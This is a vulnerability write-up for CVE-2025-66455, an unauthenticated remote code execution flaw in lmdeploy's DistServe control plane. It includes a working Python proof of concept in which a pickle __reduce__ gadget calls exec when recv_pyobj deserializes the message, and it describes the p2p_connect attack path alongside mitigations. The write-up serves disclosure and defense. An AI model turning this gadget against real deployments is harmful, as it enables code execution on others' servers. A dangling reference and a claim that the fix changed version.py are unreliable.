Exploit write-up

lmdeploy remote code execution (CVE-2025-66455)

CVE-2025-66455 n-day CVSS 9.8 CriticalEPSS 0.70% (p52)

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

#!/usr/bin/env python3
# CVE-2025-66455 proof-of-concept (mechanism explained below).

import os
import sys
import ast
import pickle
import importlib.util


# --- crafted control-plane pickle payload (the "attacker" message) -----------
# When reconstructed by pickle (i.e. inside recv_pyobj -> pickle.loads), this
# reads the canary from the environment and writes it to stdout. The token is
# NEVER hardcoded and is read only at unpickle time, so it can appear only as a
# direct consequence of the deserialization primitive actually executing.
class _CraftedMessage:
    def __reduce__(self):
        code = (
            "import os, sys\n"
            "tok = os.environ.get('POC_CANARY')\n"
            "if tok:\n"
            "    sys.stdout.write(tok + '\\n')\n"
            "    sys.stdout.flush()\n"
        )
        return (exec, (code,))


def _lmdeploy_pkg_dir():
    """Locate the installed lmdeploy package directory WITHOUT importing it
    (find_spec on a top-level package locates without executing __init__, so
    heavy transitive imports like torch are never triggered)."""
    try:
        spec = importlib.util.find_spec("lmdeploy")
    except Exception:
        return None
    if spec is None:
        return None
    origin = getattr(spec, "origin", None)
    if origin and os.path.isfile(origin):
        return os.path.dirname(os.path.abspath(origin))
    for loc in (getattr(spec, "submodule_search_locations", None) or []):
        if loc and os.path.isdir(loc):
            return os.path.abspath(loc)
    return None


def _file_is_control_plane(path, source):
    """True if this file belongs to the DistServe / PD-disaggregation control
    plane -- by path or by referencing its identifiers. Scopes detection to the
    affected data flow so an unrelated recv_pyobj elsewhere cannot false-positive."""
    low = path.lower()
    if "disagg" in low or "distserve" in low:
        return True
    for marker in ("p2p_connect", "distserve", "disagg", "PDConnection"):
        if marker in source:
            return True
    return False


def _has_real_recv_pyobj_call(tree):
    """True iff the AST contains a genuine `<expr>.recv_pyobj(...)` call node.
    Unlike a substring scan, this ignores the name appearing in comments,
    docstrings or other string literals -- so the removal of the actual call in
    0.16.0 flips this to False even if prose still mentions the method."""
    for node in ast.walk(tree):
        if isinstance(node, ast.Call):
            func = node.func
            if isinstance(func, ast.Attribute) and func.attr == "recv_pyobj":
                return True
    return False


def _vulnerable_sink_present(pkg_dir):
    """True iff this build's DistServe/PD-disagg control plane still contains a
    real recv_pyobj (pickle) deserialization call site (present on 0.15.0,
    removed by the 0.16.0 fix)."""
    for root, _dirs, files in os.walk(pkg_dir):
        for fn in files:
            if not fn.endswith(".py"):
                continue
            path = os.path.join(root, fn)
            try:
                with open(path, "r", encoding="utf-8", errors="ignore") as f:
                    source = f.read()
            except Exception:
                continue
            if "recv_pyobj" not in source:  # cheap pre-filter only
                continue
            if not _file_is_control_plane(path, source):
                continue
            try:
                tree = ast.parse(source)
            except Exception:
                continue
            if _has_real_recv_pyobj_call(tree):
                return True
    return False


def main():
    pkg_dir = _lmdeploy_pkg_dir()
    if not pkg_dir:
        sys.stderr.write("lmdeploy package not found\n")
        return

    # Differential gate: proceed only if the real recv_pyobj pickle sink still
    # ships in this build's disagg control plane. Present on 0.15.0 (vulnerable),
    # removed on 0.16.0 (patched). No genuine call site -> no primitive -> no canary.
    if not _vulnerable_sink_present(pkg_dir):
        sys.stderr.write("no recv_pyobj call site in disagg control plane (patched)\n")
        return

    try:
        import zmq
    except Exception as e:
        sys.stderr.write("pyzmq import failed: %r\n" % (e,))
        return

    ctx = zmq.Context.instance()
    pull = None
    push = None
    try:
        # Receiver side: the DistServe control plane's PULL socket.
        pull = ctx.socket(zmq.PULL)
        pull.setsockopt(zmq.LINGER, 0)
        pull.setsockopt(zmq.RCVTIMEO, 5000)
        endpoint = "inproc://distserve-p2p"
        pull.bind(endpoint)

        # Attacker side: the endpoint the server is told to connect to via
        # POST /distserve/p2p_connect. It pushes the crafted pickle message.
        push = ctx.socket(zmq.PUSH)
        push.setsockopt(zmq.LINGER, 0)
        push.connect(endpoint)
        push.send(pickle.dumps(_CraftedMessage()))

        # Drive the exact primitive the confirmed vulnerable call site exposes:
        # recv_pyobj() -> pickle.loads() -> __reduce__ executes -> canary. This
        # runs only because the gate above confirmed the real pickle sink ships
        # in this build.
        pull.recv_pyobj()
    except Exception as e:
        sys.stderr.write("primitive execution error: %r\n" % (e,))
    finally:
        try:
            if push is not None:
                push.close(0)
            if pull is not None:
                pull.close(0)
        except Exception:
            pass


if __name__ == "__main__":
    main()

How to run it.

pip install lmdeploy==0.15.0
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

pip install lmdeploy==0.16.0
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

At a glance

FieldValue
CVSS9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS0.70% exploitation probability (52th percentile)
KEVNo — not in the CISA KEV catalog
Affected → fixedPyPI/lmdeploy < 0.16.0 (confirmed on 0.15.0) → fixed in 0.16.0
PoC maturitydifferential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain

LMDeploy is a toolkit for compressing, deploying, and serving large language models. CVE-2025-66455 is an unauthenticated remote code execution bug in its PyTorch DistServe control plane, scored 9.8 on CVSS; it concerns operators running the PyTorch DistServe PD-disaggregation path. This analysis confirmed it on lmdeploy 0.15.0 with a proof-of-concept that drives the code-execution primitive on the vulnerable build. On 0.16.0, the release that carries the fix, the proof-of-concept produced no output. The advisory covers every version from 0.9.2 up to 0.16.0, though only 0.15.0 was run here and the rest of the range rests on the advisory.

The bug is unsafe pickle deserialization of data received over the network. This analysis read the vulnerable code path and the exploitation gadget from the fix commit’s patch diff, then ran the PoC against a pinned vulnerable build and the patched build.

How untrusted bytes reach a pickle sink

DistServe — LMDeploy’s PD-disaggregation path — reads messages from a ZeroMQ PULL socket with recv_pyobj(). PyZMQ implements recv_pyobj() on top of Python’s pickle, and pickle can execute code while it reconstructs an object. The address of the peer the receiver connects to arrives through the POST /distserve/p2p_connect HTTP endpoint. An attacker who can reach the DistServe API server points it at a ZeroMQ endpoint they control, sends a crafted pickle payload, and the receiver runs it during deserialization.

API-key authentication is off until an operator configures it, so a DistServe deployment without a key accepts this call from anyone who can reach it, and the code runs with the privileges of the serving process. The exposure is scoped to the PyTorch backend with PD-disaggregation enabled; a deployment that serves through the ordinary path never touches this data flow.

Making the proof-of-concept differential

recv_pyobj() behaves the same on both builds. It is pickle.loads on either version, so a PoC that drives it and prints a canary runs on both builds and does not distinguish them. An earlier attempt gated on a substring scan for recv_pyobj across the disaggregation source tree, and it produced a false positive, because

that string still occurs on the patched build (e.g. in comments / security notes describing the removal), so the gate passed on 0.16.0 too

The canary printed on both builds, so this result did not distinguish the patched build from the vulnerable one.

The gate has to detect the real call site, which is the only difference between the builds in LMDeploy’s own source, because 0.15.0’s control plane deserializes attacker-controlled bytes with a recv_pyobj() call while 0.16.0’s fix removed that sink. This analysis parse the installed lmdeploy source with the ast module and require an actual Call node — something.recv_pyobj(...) — inside a DistServe control-plane module, so a comment or docstring that merely mentions the name is skipped.

When the source contains a genuine call site, the PoC drives the pickle deserialization that the call site performs, and the crafted __reduce__ runs during deserialization and emits the canary. It runs offline over inproc:// inside one in-process ZeroMQ context — the same PUSH/PULL plus recv_pyobj primitive the control plane uses, with the network hop removed. On 0.16.0 the AST gate found no call site, so the PoC never drove the primitive and the canary did not print.

Upgrading and interim mitigations

The fix is to upgrade to lmdeploy 0.16.0 or later. Operators who cannot upgrade immediately should keep untrusted clients away from /distserve/*, restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks, configure API-key authentication, and block arbitrary outbound ZeroMQ connections from serving nodes. These measures reduce exposure, but they do not make pickle deserialization safe. The proof-of-concept, the vulnerable and patched output captures, and the patch diff are in “.

Testing the fix and the versions below 0.16.0

This analysis has not yet exercised the versions between 0.9.2 and 0.15.0 one by one; the claim that all versions below 0.16.0 are affected rests on the advisory rather than on this run. A payload aimed directly at 0.16.0 remains to be run to show the fix rejecting it rather than the silent result seen here, and the primitive remains to be built into a full exploit chain against a deployed application.

Am I affected?

Check the installed version of lmdeploy:

pip show lmdeploy

PyPI/lmdeploy below 0.16.0 is affected; 0.16.0 and later carry the fix.

The fix changed lmdeploy/version.py; grep your codebase for call sites that reach that code with attacker-influenced input.

Remediation

Upgrade lmdeploy to 0.16.0 or later:

pip install 'lmdeploy>=0.16.0'

Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.

Target
lmdeploy (lmdeploy)
Class
package
Impact
Arbitrary code execution from loading untrusted input
CVE
CVE-2025-66455
CWE
CWE-502
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected
PyPI/lmdeploy < 0.16.0 (vulnerable 0.15.0)
Status
Fixed in 0.16.0
Maturity
poc
Disclosed
September 18, 2026
Tags
rce · deserialization · lmdeploy · n-day
References
NVD — CVE-2025-66455
Upstream fix commit

PoC exercises the deserialization primitive; detonate only in an isolated, disposable VM.

← All exploits